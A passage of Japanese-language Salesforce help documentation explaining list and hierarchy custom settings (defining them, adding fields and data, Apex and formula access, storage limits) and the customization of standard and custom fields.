例には、2 文字の州の省略名、国際電話の発信番号、製品のカタログ番号な
どがあります。データはキャッシュされるため、アクセスのコストが低く、効率的です。ガバナ制限の対
象となる SOQL クエリを使用する必要はありません。

階層カスタム設定
特定のプロファイルまたはユーザの設定を「カスタマイズ」できる組み込みの階層ロジックを使用するカ
スタム設定の種類。階層ロジックでは、現在のユーザの組織、プロファイル、およびユーザ設定を確認し、
最も限定的な (つまり「最下位」) 値が返されます。階層では、組織の設定はプロファイル設定によって上
書きされ、プロファイル設定はユーザ設定によって上書きされます。

カスタム設定の使用例を次に示します。
• 納入アプリケーションには、ユーザが海外配信用の国コードを入力する必要があります。この場合、すべ

ての国コードのリスト設定を作成すると、ユーザはデータベースにクエリしなくてもこのデータにすばや
くアクセスできます。

• アプリケーションは営業担当者の報酬を算出して追跡しますが、コミッション率は年功に基づきます。こ
の場合、階層設定を作成すると、管理者は異なるコミッション率を営業組織の各プロファイルに割り当て
ることができます。さらに、このアプリケーション内で 1 つの数式項目を使用して、すべてのユーザの報
酬を正しく計算できます。プロファイルレベルでカスタマイズされた設定により、正しいコミッション率
が挿入されます。
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• アプリケーションによって、取引先の場所、最適な経路、および交通状況が表示されます。この情報は営
業担当者には便利ですが、取引先担当責任者には取引先の場所がわかれば十分です。この場合、経路と交
通のカスタムチェックボックス項目を使用した階層設定を作成すると、このデータを「営業担当者」プロ
ファイルのみに有効にできます。

カスタム設定を作成および使用する手順は、次のとおりです。
1. カスタム設定を作成します。
2. カスタム設定に項目を追加します。
3. データを追加し、カスタム設定データのアクセスレベルを設定します。
4. 数式項目、入力規則、Apex、または SOAP API を使用して、アプリケーション内のカスタム設定データを参

照します。
また、カスタム設定をパッケージに含めることもできます。パッケージのカスタム設定がどのように表示され
るかは、[表示] 設定によって決まります。

メモ: パッケージにはデータではなく、カスタム設定の定義のみが含まれます。データを含める必要があ
る場合は、パッケージをインストールした後に登録側組織によって実行される標準のApexまたはAPIスク
リプトを使用してカスタム設定を取り込む必要があります。

カスタム設定へのアクセス
カスタム設定の定義
カスタム設定の表示
カスタム設定項目の追加
カスタム設定を定義したら、項目を追加します。カスタム項目には、カスタム設定で使用されるデータが
含まれます。
カスタム設定データの管理
カスタム設定の制限および考慮事項
カスタム設定を使用するときは、キャッシュされるデータ量に関する次の考慮事項および制限に留意して
ください。
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カスタム設定へのアクセス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

パッケージは
Database.com Edition では
使用できません。

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタム設定には、数式項目、入力規則、Apex、およびSOAP APIからアクセスで
きます。サンプルコードの一部を次に示します。
数式項目

数式項目は階層カスタム設定でのみ機能し、リストカスタム設定には使用で
きません。

{!$Setup.CustomSettingName__c.CustomFieldName__c}

Apex

Apex はどちらのカスタム設定にもアクセスできます。

メモ: カスタム設定の [プライバシー]が [保護]に設定されていて、そのカスタム設定が管理パッケー
ジに含まれている場合、登録側組織はApexを使用して値を編集したり、アクセスしたりすることがで
きません。

リストカスタム設定のサンプル
カスタム設定のデータを追加する場合は、各データセットに名前を付ける必要があります。このデータ
セット名によって、各データセットを区別できます。次の例では、カスタム設定データの対応付けが返
されます。getAll メソッドは、リスト設定に関連付けられているすべてのカスタム項目の値を返しま
す。
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();
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次の例では、指定したデータセットに関連付けられているすべての項目値を返す getValues メソッド
を使用します。このメソッドは、異なるパラメータを使用して、リストと階層のどちらのカスタム設定
でも使用できます。
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

階層カスタム設定のサンプル
次の例では、組織レベルのデータセット値を返す getOrgDefaults メソッドを使用します。
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

次の例では、指定したプロファイルのデータセット値を返す getInstance メソッドを使用します。
getInstance メソッドは、ユーザ ID で使用することもできます。
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

SOAP API

[プライバシー]が [公開]に定義されているカスタム設定は、カスタムオブジェクトが公開されるのと同じ
様に API に公開されます。

メモ: [プライバシー]が [保護] に設定されていて、そのカスタム設定が管理パッケージに含まれてい
る場合、開発側組織と登録側組織のどちらも API を使用してカスタム設定にアクセスすることはでき
ません。

クエリまたはプロファイル権限設定操作を実行するには、任意のツールと API アクセスを使用します。

メモ: カスタム設定データには、Standard Object Query Language (SOQL) クエリを使ってアクセスできますが、
この方法はアプリケーションキャッシュを活用しません。カスタムオブジェクトの問い合わせに類似し
ています。

関連トピック:

カスタムデータセットの作成
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カスタム設定の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

パッケージは
Database.com Edition では
使用できません。

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタム設定を作成または編集する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタム設定」と入力し、[カスタ

ム設定] を選択します。
2. 新しいカスタム設定を作成するには、[新規] をクリックし、カスタム設定の

名前の横にある[編集]をクリックするか、カスタム設定の詳細を表示して[編
集] をクリックします。

メモ: アイコンは、インストール済み管理パッケージにカスタム設定
が含まれていることを示します。管理パッケージからインストールされ
たカスタム設定を編集または削除することはできません。

3. 次を定義します。
• 表示ラベル  — アプリケーションに表示されるラベルを入力します。
• オブジェクト名  — 数式項目、入力規則、Apex、またはSOAP APIでカスタム

設定が参照されるときに使用される名前を入力します。

メモ: Salesforce は [オブジェクト名] に ASCII を使用することをお勧め
します。名前は最大 38 ASCII 文字です。2 バイト文字を使用する場合、
使用できる文字数がさらに制限されます。

• 設定種別  — [リスト] または [階層] を選択します。[リスト] は、国コードや
州の省略名など、アプリケーションレベルのデータを定義します。[階層]

は、階層の下位レベルで上書き可能なデフォルトの項目値などのカスタ
マイズ設定を定義します。

重要: カスタム設定を保存すると、この値は変更できなくなります。

• 表示  — [保護] または [公開] を選択します。
– 保護 — カスタム設定が管理パッケージに含まれる場合、登録側組織はカスタム設定を参照できませ

ん。カスタム設定は、パッケージリストの一部としては表示されません。また、登録側組織が Apex

およびAPIのどちらを使用してもカスタム設定にはアクセスできませんが、開発側組織はアクセスで
きます。カスタム設定が未管理のパッケージに含まれている場合、カスタム設定はカスタムオブジェ
クトと同様に ([表示] が [公開] に設定されているかのように) Enterprise WSDL を通して利用できます。

– 公開 — カスタム設定はカスタムオブジェクトと同様に Enterprise WSDL を通して利用できます。公開
として定義されたカスタム設定をパッケージできます。登録側組織はパッケージのタイプ (管理また
は未管理) に関係なく値を編集し、Apex および API を使用してアクセスできます。

重要: カスタム設定を保存すると、この値は変更できなくなります。

4. 必要に応じてカスタム設定の説明を入力します。わかりやすい説明を入力しておくと、カスタム設定をリ
ストで表示するときにカスタム設定の違いを把握しやすくなります。

5. [保存] をクリックします。
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メモ: パッケージにはデータではなく、カスタム設定の定義のみが含まれます。データを含める必要
がある場合は、パッケージをインストールした後に登録側組織によって実行される標準のApexまたは
API スクリプトを使用してカスタム設定を取り込む必要があります。

カスタム設定を作成したら、カスタム設定に項目を追加する必要があります。

関連トピック:

カスタム設定項目の追加
カスタム設定データの追加

カスタム設定の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

パッケージは
Database.com Edition では
使用できません。

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタム設定を作成したら、カスタム設定の詳細の表示、カスタム設定の管理、
項目の追加ができます。
[設定] から、[クイック検索]ボックスに「カスタム設定」と入力し、[カスタム設
定]を選択してから、表示するカスタム設定の名前をクリックします。カスタム
設定を表示している間、次の操作を実行できます。
• カスタム設定に変更を加えるには、[編集] をクリックします。
• カスタム設定を削除するには、[削除] をクリックします。

メモ: アイコンは、インストール済み管理パッケージにカスタム設定
が含まれていることを示します。管理パッケージからインストールされ
たカスタム設定を編集または削除することはできません。

• カスタム設定にデータを追加するには、[管理] をクリックします。
また、カスタム設定に項目を追加するには、[新規] をクリックします。

関連トピック:

カスタム設定の定義

5364

カスタムデータセットの作成コードではなくてクリックによる Salesforce の拡張



カスタム設定項目の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

パッケージは
Database.com Edition では
使用できません。

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタム設定を定義したら、項目を追加します。カスタム項目には、カスタム
設定で使用されるデータが含まれます。
1. [設定] から、[クイック検索] ボックスに「カスタム設定」と入力し、[カスタ

ム設定] を選択します。
2. 項目を追加するカスタム設定をクリックします (カスタム設定を作成すると、

[カスタム設定の詳細] ページが表示されます)。
3. [新規] をクリックします。
4. 項目のデータ型を選択し、[次へ] をクリックします。

メモ: レコードサイズは、各項目に使用される実際のストレージではな
く、各項目のデータ型の最大項目サイズに基づいています。カスタム設
定定義に項目を追加するときは、適切なデータ型を使用し、データに必
要な量を上限とする文字数を指定します。キャッシュされるデータの制
限に達しないようにするためです。たとえば、米国の社会保障番号 (SSN)

項目を作成する場合は、[テキスト]データ型を選択して、文字数に 9 を
指定します。[テキストエリア]データ型を選択すれば、入力する文字数
に関係なく、各レコードの使用数に 255 文字が加算されます。

5. 項目の詳細を入力します。
6. 情報を確認してから、[保存] または [保存 & 新規] をクリックします。
項目を追加した後、データを追加し、階層カスタム設定の場合はアクセスレベ
ルを指定する必要があります。

関連トピック:

カスタム設定データの追加

5365

カスタムデータセットの作成コードではなくてクリックによる Salesforce の拡張



カスタム設定データの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタム設定の定義と項目の追加が完了したら、次の手順に従って項目にデー
タを取り込みます。
1. [設定] から、[クイック検索] ボックスに「カスタム設定」と入力し、[カスタ

ム設定] を選択します。
2. カスタム設定の横か、カスタム設定の詳細ページから、[管理] をクリックし

ます。
3. カスタム設定の値を指定または変更します。

• リスト設定を管理する場合は、次の処理を行います。
– 項目にデータを追加するには、[新規] をクリックします。
– データセット名またはデータを変更するには、既存のデータセット名

の横にある [編集] をクリックします。
– データセットを削除するには、既存のデータセット名の横にある [削

除] をクリックします。
• 階層設定を管理する場合は、権限階層内のどの場所でデフォルトデータ

を追加するかを決定します (組織、プロファイル、またはユーザ)。
組織レベルのデフォルトデータを追加するには、[デフォルトの組織レベ
ルの値] セクションで [新規] をクリックします。すでに組織のデータが定
義されている場合、そのデータの編集または削除のみを行えます。
プロファイルまたはユーザレベルのデフォルトデータを追加するには、ページの株のセクションの [設
定所有者] の近くにある [新規] をクリックします。

データの定義が完了したら、次を行うことができます。
• 組織レベルでデフォルトデータセットを変更するには、[デフォルトの組織レベルの値] セクションの[編

集] をクリックします。また、デフォルトデータセットを削除するには、[削除] をクリックします (階層
カスタム設定の場合のみ)。

• データを表示するには、既存のデータセット名の横にある [表示] をクリックします (階層カスタム設定
の場合のみ)。

• データセット名またはデータを変更するには、既存のデータセット名の横にある[編集]をクリックしま
す。

• データセットを削除するには、既存のデータセット名の横にある [削除] をクリックします。

カスタム設定データの追加
カスタム設定データの表示

関連トピック:

カスタム設定の制限および考慮事項
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カスタム設定データの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタム設定を定義し、項目を追加したら、これらの項目にデータを入力する
必要があります。
1 つ以上のデータセットを定義できます。リストカスタム設定の場合は、各デー
タセットに名前を付けて、Apex や数式項目などでその名前を使用してアクセス
できます。
階層のカスタム設定の場合は、データはアクセスレベル (ユーザ、プロファイ
ル、または組織) に基づいてアクセスされます。最下位レベルが最初に使用され
ます。つまり、ユーザレベルでデータセットを定義した場合、アプリケーショ
ンでそれ以外が指定されない限り、そのデータが使用されます。たとえば、ア
プリケーションの問い合わせ先に、一般ユーザ用の電話番号とシステム管理者
にのみ表示される電話番号として異なる番号を指定できます。
カスタム設定項目にデータを追加する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタム設定」と入力し、[カスタ

ム設定]を選択してから、カスタム設定の横にある[管理]をクリックします。
またはカスタム設定の詳細ページで、[管理] をクリックします。

2. [新規] をクリックするか、既存のデータセットの横にある [編集] をクリック
します。

3. データを追加または変更します。
リストのカスタム設定の場合は、次の設定を行います。
a. データセットの名前を指定または変更します。この名前は、Apex、数式項目などで使用されます。
b. すべての項目のデータを入力または変更します。
c. [保存] をクリックします。
階層のカスタム設定の場合は、次の設定を行います。
a. デフォルトの組織レベルの値には、項目のデータを入力または変更します。デフォルトの組織の場所が

自動的に取り込まれます。
b. プロファイルまたはユーザレベルの値には、[場所] 選択リストから [プロファイル] または [ユーザ]

のいずれかを選択します。プロファイルまたはユーザの名前を入力するか、ルックアップダイアログ検
索を使用します。次に、項目のデータを入力または変更します。

c. [保存] をクリックします。

メモ: 階層のカスタム設定では、プロファイルまたはユーザあたりに追加できるレコードは 1 つのみ
です。同じプロファイルまたはユーザに 2 つのレコードを追加すると、エラーになります。

関連トピック:

カスタム設定データの管理
カスタム設定項目の追加
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カスタム設定データの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

項目の追加とその項目へのデータの追加が完了したら、データを表示できます。
1. [設定] から、[クイック検索] ボックスに「カスタム設定」と入力し、[カスタ

ム設定]を選択してから、すでに定義されているカスタム設定の横にある [管
理]をクリックします。またはカスタム設定の詳細ページで、[管理]をクリッ
クします。

2. 表示するデータセットの横にある [表示] をクリックします (階層カスタム設
定の場合のみ)。

関連トピック:

カスタム設定項目の追加
カスタム設定データの追加

カスタム設定の制限および考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタム設定を使用するときは、キャッシュされるデータ量に関する次の考慮
事項および制限に留意してください。
• 組織に許可されるキャッシュデータの合計量は、次の 2 つの値のうち小さい

方です。
– 10 MB

– 1 MB × 組織のフルユーザライセンス数
たとえば、組織にフルライセンスが 3 つある場合、カスタム設定ストレージ
は 3 MB になります。組織にフルライセンスが 20 ある場合は、ストレージが
10 MB になります。
組織の制限に加えて、認定管理パッケージごとに別個の制限が適用されま
す。たとえば、組織に認定管理パッケージが 2 つインストールされ、フルラ
イセンスが 3 つあるとします。組織の 3 MB というカスタム設定のストレージ
制限に加え、認定管理パッケージごとに 3 MB のストレージをカスタム設定で
きます。

• カスタム設定ごとに、最大300個の項目を追加できます (カスタムオブジェク
トの項目制限が300未満の場合を除く)。カスタムオブジェクトの項目制限が
300 未満の場合は、カスタム設定の項目制限とカスタムオブジェクトの項目
制限が同じになります。
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• カスタム設定オブジェクトまたはレコードは共有できません。
• カスタム設定が作成されるときに所有者が割り当てられるため、所有者は変更できません。
• カスタム設定は、カスタムオブジェクトの一種です。各カスタム設定は、組織で使用可能なカスタムオブ

ジェクトの総数の一部として加算されます。
• ユーザに「アプリケーションのカスタマイズ」権限がない場合、数式項目の復元されたカスタム設定にア

クセスするとエラーになります。このエラーを回避するために、このカスタム設定を組織に再リリースし
ます。または、このカスタム設定を削除し、同じ名前とデータで再作成してから、この設定を使用するす
べての数式項目を削除して再作成します。

• クロスオブジェクト数式がカスタム設定の通貨項目を参照する場合、この項目値は数式が含まれるレコー
ドの通貨に換算されません。カスタム設定の項目の通貨とレコードの通貨が異なるときは、数式の結果が
正確でないことがあります。

組織が使用しているカスタム設定データの量を表示するには、[設定] から [クイック検索]ボックスに「カスタ
ム設定」と入力し、[カスタム設定] を選択します。カスタム設定ごとに、このページには、1 レコードのサイ
ズ、作成されたレコードの件数、各カスタム設定に使用される合計サイズが表示されます。
レコードサイズは、各項目に使用される実際のストレージではなく、各項目のデータ型の最大項目サイズに基
づいています。カスタム設定定義に項目を追加するときは、適切なデータ型を使用し、データに必要な量を上
限とする文字数を指定します。キャッシュされるデータの制限に達しないようにするためです。たとえば、米
国の社会保障番号 (SSN) 項目を作成する場合は、[テキスト] データ型を選択して、文字数に 9 を指定します。
[テキストエリア]データ型を選択すれば、入力する文字数に関係なく、各レコードの使用数に 255 文字が加算
されます。

関連トピック:

カスタムデータセットの作成
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項目のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

標準項目とページレイア
ウトは、Database.comで
は利用できません。

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

標準およびカスタム項目をカスタマイズし、組織を固有の要件に合わせて調整
します。
実行できる操作
• 標準項目の一部を編集する
• 標準またはカスタム選択リスト項目の値を変更または追加する
• 項目間の依存関係のルールを定義する
• カスタム項目を作成して追加情報を取り込む
• 他の項目の内容に基づいて値を自動的に計算する数式項目を作成する
• カスタム項目にデフォルト値を定義する
• 項目の入力規則を定義する
• 項目を必須に設定する
• 日付、時刻、変更の種類、および変更実施者など、変更を追跡するように項

目を設定する
• ページレイアウトを作成して項目の表示を制御する
• 項目へのアクセス権を制御する項目レベルセキュリティを設定する
• 項目セットの作成または変更

標準項目のカスタマイズ
選択リストの値、自動採番項目の形式、項目履歴の追跡、リレーション項目のルックアップ検索条件、項
目レベルのヘルプなど、標準項目のいくつかの側面はカスタマイズできます。
標準自動採番項目の編集
カスタム項目
カスタム項目の作成
カスタム項目に固有のビジネスデータを保持します。カスタム項目の作成時にその表示場所を設定し、項
目レベルのセキュリティを制御します (省略可能)。
デフォルト項目値の定義
入力規則
入力規則の例
さまざまな種別のアプリケーションでの入力規則の例を確認してください。これらの例を使用し、自分の
目的に合わせて変更できます。入力規則によって、レコードを保存する前に、入力したデータが指定した
基準に合っているかどうかを確認できます。
項目入力の必須化によるデータ品質の確保
必須項目を作成して、ユーザが Salesforce に入力するデータの品質を向上させます。
項目セットについて
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積み上げ集計項目
積み上げ集計項目は、関連リストにある関連レコードなどから値を計算します。詳細レコードの項目の値
に基づいてマスタレコードの値を表示する積み上げ集計項目を作成できます。詳細レコードは、主従関係
によってマスタレコードと関連付ける必要があります。たとえば、取引先の請求書関連リストに存在する
すべての関連請求書カスタムオブジェクトの請求金額の合計を表示するとします。この合計金額は、[請求
書総額] というカスタム取引先項目に表示できます。
ルックアップ検索条件
ルックアップ検索条件を使用すると、ユーザの生産性やデータ品質が向上します。ルックアップ検索条件
は、参照項目、主従関係項目、階層関係項目の有効な値とルックアップダイアログ結果を制限するシステ
ム管理者設定です。

標準項目のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

標準項目を変更する
• 「アプリケーションの

カスタマイズ」

選択リストの値、自動採番項目の形式、項目履歴の追跡、リレーション項目の
ルックアップ検索条件、項目レベルのヘルプなど、標準項目のいくつかの側面
はカスタマイズできます。

ヒント: 標準項目は削除できませんが、ページレイアウトから除くことは
できます。

1. オブジェクトの項目ページに移動します。
2. 項目表示ラベルをクリックします。
3. カスタムヘルプテキストを追加するには、[編集] をクリックします。
4. 項目の情報ページでは、各自のエディションに応じて、項目レベルセキュリ

ティの設定、アクセシビリティ設定の表示、入力規則の設定などを行うこと
ができます。
項目の種別によって上記以外の操作も実行できます。たとえば、項目が選択
リストの場合は、値の追加、削除、並び替えや連動関係の設定を行うことが
できます。標準項目の項目を長くすることはできません。テキストエリアを
長くする必要がある場合は、カスタム項目の作成を検討してください。

 Beyond the Basics

項目の [インデックス付き] チェックボックスの意味および設定理由
項目がインデックス付けされている場合は、サイドバー検索や高度な検索を使用して項目の値を検索で
きます。また、項目にインデックスを付けると、レポート作成など、項目の他の操作の速度が高まりま
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す。詳細は、ブログ投稿「Know Thy Salesforce Field Indexes for Fast Reports, List Views, and SOQL」を確認してくだ
さい。

関連トピック:

カスタム項目
選択リスト値の追加または編集
オブジェクト、タブ、項目の表示ラベルの名称変更
項目レベルのヘルプの開始
ルックアップ検索条件

標準自動採番項目の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

標準自動採番項目の編集
• 「アプリケーションの

カスタマイズ」

ソリューション、ケース、および契約を識別する一意の識別子が、標準の自動
採番項目です。各レコードには、作成時に指定された表示形式にしたがった一
意の番号が割り当てられます。これらの自動採番項目の表示形式や採番方法を
編集できます。
1. 項目を変更するオブジェクトの管理設定から、項目領域に移動します。
2. 項目名の横にある [編集] をクリックします。
3. [表示形式]に入力して、先行ゼロの最小数や数字の前後に付けるプレフィッ

クスやサフィックスなど、表示形式の詳細を制御します。
表示形式の変更は既存のレコードには影響せず、新しいレコードにのみ適用
されます。

4. 変更を保存した後、次に作成されるレコードに割り当てる番号を入力しま
す。

5. [保存] をクリックします。

警告: 入力した次の番号が既存の番号よりも小さい場合には、Salesforceより
警告されます。ただし、自動採番の表示形式を似たような形式で複数回変
更した場合は、重複する番号を作成できることがあります。

関連トピック:

カスタム項目のデータ型
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カスタム項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

タブは、Database.comで
は利用できません。

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

組織のニーズに合わせるために、組織で使用する各タブとオブジェクトのカス
タム項目を追加できます。
作成できるカスタム項目の総数についての詳細は、「Salesforce の制限」を参照し
てください。

メモ: 組織のカスタム項目数が 800 個の制限に達しつつある中で項目を削
除または作成した場合、項目を作成できないことがあります。物理的な削
除プロセスでは項目が再要求されてクリーンアップされるため、対象の項
目が一時的に制限にカウントされます。削除プロセスはキューが満杯になっ
た時点で実行されるため、プロセスの開始までに数日あるいは数週間を要
することがあります。この間は、削除済みの項目が引き続き制限にカウン
トされます。項目の即時削除を要求する場合は、Salesforce サポートにお問
い合わせください。

詳細は、次のトピックを参照してください。
• カスタム項目の作成
• カスタム項目の編集
• 特定のオブジェクトの項目の管理
• 項目の削除
• 数式項目の作成
• カスタム選択リスト項目の作成
• 連動選択リストの定義
• デフォルト項目値の定義
• その他のカスタム項目オプション
• カスタム項目の属性
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カスタム項目の作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

カスタム項目は、Group
Edition の活動では使用で
きません。

カスタム設定は、
Professional Edition では使
用できません。

レイアウトは、
Database.com Edition では
使用できません。

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタム項目に固有のビジネスデータを保持します。カスタム項目の作成時に
その表示場所を設定し、項目レベルのセキュリティを制御します (省略可能)。
Salesforce をカスタマイズして、すべてのビジネスデータを収集できます。この
短い動画では、正しいデータ型の選択から項目レベルセキュリティの適用まで、
カスタム選択リスト項目を作成する手順を説明します。
作成を開始する前に、作成する項目のデータ型を決定します。

メモ: 組織のカスタム項目数が 800 個の制限に達しつつある中で項目を削
除または作成した場合、項目を作成できないことがあります。物理的な削
除プロセスでは項目が再要求されてクリーンアップされるため、対象の項
目が一時的に制限にカウントされます。削除プロセスはキューが満杯になっ
た時点で実行されるため、プロセスの開始までに数日あるいは数週間を要
することがあります。この間は、削除済みの項目が引き続き制限にカウン
トされます。項目の即時削除を要求する場合は、Salesforce サポートにお問
い合わせください。

1. 項目の追加先となるオブジェクトの管理設定から、[項目] に移動します。
カスタム ToDo および行動項目には、[活動] のオブジェクト管理設定からアク
セスできます。

2. [新規] をクリックします。

ヒント: このセクションでは、カスタムオブジェクトに対して項目の連
動関係と項目履歴管理も設定できます。

3. 項目のデータ型を選択し、[次へ] をクリックします。次の点に留意してくだ
さい。
• データ型には、特定の設定の場合にのみ使用可能なものもあります。た

とえば、[主従関係]オプションは、主従関係を持たないカスタムオブジェ
クトに対してのみ使用できます。

• カスタム設定と外部オブジェクトでは、使用可能なデータ型のサブセッ
トのみが有効です。

• 複数選択リスト、リッチテキストエリア、または連動選択リストのカス
タム項目を商談分割に追加することはできません。

• リレーション項目はカスタム項目の上限まで数えられます。
• [積み上げ集計]オプションは、特定のオブジェクトでしか使用できませ

ん。
• 項目のデータ型は、API のデータ型に対応します。
• 組織で Shield プラットフォームの暗号化を使用する場合は、Shield プラッ

トフォームの暗号化を使用してカスタム項目を暗号化する方法を把握し
ておく必要があります。

4. リレーション項目では、項目に関連付けるオブジェクトを選択し、[次へ] をクリックします。
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5. 間接参照関係項目の場合、親オブジェクトの一意の外部 ID 項目を選択し、[次へ] をクリックします。親の
項目値が子の間接参照関係項目の値と照合され、相互に関連するレコードが判別されます。

6. あるグローバル選択リストの値セットを基本にした選択リスト項目にするには、その値セットを選択して
使用します。

7. 項目ラベルを入力します。
Salesforceにより、項目の表示ラベルを使用して [項目名]が入力されます。この名前は、アンダースコアと
英数字のみを使用でき、組織内で一意にする必要があります。最初が文字である、空白を使用しない、最
後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。カスタ
ムリンク内、カスタムSコントロール内、および API からの項目の参照時には、差し込み項目の項目名を使
用します。

ヒント: カスタム項目名および表示ラベルがそのオブジェクトで一意であるようにしてください。
• 標準項目とカスタム項目の名前や表示ラベルが同じ場合、差し込み項目にはカスタム項目の値が表

示されます。
• 2 つのカスタム項目の名前や表示ラベルが同じ場合、差し込み項目に予期しない値が表示される場

合があります。
Email という項目ラベルを作成し、[メール] というラベルの標準項目がすでにある場合、差し込み
項目はそれらの項目を区別できない可能性があります。カスタム項目名に 1 文字追加すると、項目名
が一意になります。たとえば、Email2 のように指定します。

8. 項目属性を入力し適切なチェックボックスをオンにして、項目を入力する必要があるかどうか、またレコー
ドが削除された場合にどうするかを指定します。

9. カスタムオブジェクトの主従関係については、必要に応じて [親の変更を許可] を選択して、主従関係の子
レコードの親を別の親レコードに変更できるようにします。

10. リレーション項目については、必要に応じて参照検索条件を作成し、その項目の検索結果を制限します。
外部オブジェクトでは使用できません。

11. [次へ] をクリックします。
12. Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、各プロファイルについて

項目のアクセス設定を指定してから [次へ] をクリックします。

有効化された設定アクセスレベル

参照可能ユーザは項目を参照し、編集できる。

[参照可能] と [参照のみ]ユーザは項目を参照できるが編集できない。

なしユーザは項目の参照、編集ができない。

メモ:

• カスタム項目を作成する場合、必須項目でない限り、デフォルトではポータルプロファイルにこの
項目は表示されず、編集することもできません。

13. 編集可能な項目を表示するページレイアウトを選択して、[次へ] をクリックします。
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ページレイアウトでの場所項目

最初の 2 列のセクションの最後の項目。標準

最初の 1 列のセクションの末尾。ロングテキストエリア

ユーザ詳細ページの一番下。ユーザ

ページレイアウトから削除したり、参照のみにする
ことができません。

必須

14. リレーション項目では、必要に応じて関連付けられているレコードの関連リストを作成し、そのオブジェ
クトのページレイアウトに追加します。
• ページレイアウトの関連リスト名を編集するには、[関連リストの表示ラベル]をクリックし、新しい名

前を入力します。
• カスタマイズされたページレイアウトに関連リストを追加するには、[関連リストを既存ユーザのページ

のカスタマイズに追加する] を選択します。

15. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別の新規カスタム項目を作成します。

メモ: 項目の作成には、大量のレコードの一括変更が必要なこともあります。この変更を効率的に処理す
るために、要求がキューに入れられ、プロセスが完了したときにメール通知を受信する場合があります。

カスタム選択リスト項目の作成
カスタム選択リスト項目を作成して、あらかじめ定義されたリストからユーザが値を選択できるようにし
ます。
グローバル選択リスト値セットの作成
グローバル選択リスト値セットを使用して、オブジェクトやカスタム選択リスト項目にまたがって値を共
有したり、指定した値にのみ選択リストを制限したりします。
カスタム項目のデータ型
標準項目とカスタム項目の違いは?

Salesforce の標準オブジェクトとカスタムオブジェクトにカスタム項目を追加し、組織を無制限にカスタマ
イズできます。カスタム項目は、Salesforce に組み込まれている標準項目に似ていますが、標準項目とカス
タム項目にはいくつかの相違点があります。
カスタム項目の属性
カスタム項目エントリは、いくつかの属性で構成されています。
特定のオブジェクトの項目の管理
カスタム項目の編集
項目の削除
削除されたカスタム項目の管理
削除したカスタム項目とそのデータは、組織がそれらを完全に削除するまで、または削除後 15 日が経過す
るまで保存されます。それまでは、その項目とデータを復元できます。
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その他のカスタム項目オプション
リッチテキストエリア項目に関するヒント
